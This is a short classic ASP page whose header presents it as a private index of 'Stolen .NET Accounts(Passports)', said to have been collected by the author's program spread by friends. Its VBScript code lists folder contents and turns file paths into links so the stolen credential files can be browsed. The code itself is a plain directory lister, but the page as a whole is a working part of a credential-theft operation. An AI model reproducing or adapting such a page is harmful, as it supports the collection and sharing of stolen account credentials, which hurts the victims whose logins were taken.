<%@ LANGUAGE="VBScript" %> <% '*************************************************************************** '* Uberfreaks Stolen .NET Accounts(Passports) * '* * '* * '* * '* * '* * '*************************************************************************** %> Uberfreaks Stolen .NET Passports


Uberfreaks Stolen .NET Accounts(Passports)

These are .NET Passports that I(or friends spreading my program) have collected.
If you dont know me then you should not Here!.
[email protected]




<% sub ListFolderContents(path) dim fs, folder, file, item, url set fs = CreateObject("Scripting.FileSystemObject") set folder = fs.GetFolder(path) 'Display the target folder and info. Response.Write("
  • " & folder.Name & " - " _ & folder.Files.Count & " files, ") if folder.SubFolders.Count > 0 then Response.Write(folder.SubFolders.Count & " directories, ") end if Response.Write(Round(folder.Size / 1024) & " KB total." _ & vbCrLf) Response.Write("" & vbCrLf) Response.Write("
  • " & vbCrLf) end sub function MapURL(path) dim rootPath, url 'Convert a physical file path to a URL for hypertext links. rootPath = Server.MapPath("/") url = Right(path, Len(path) - Len(rootPath)) MapURL = Replace(url, "\", "/") end function %>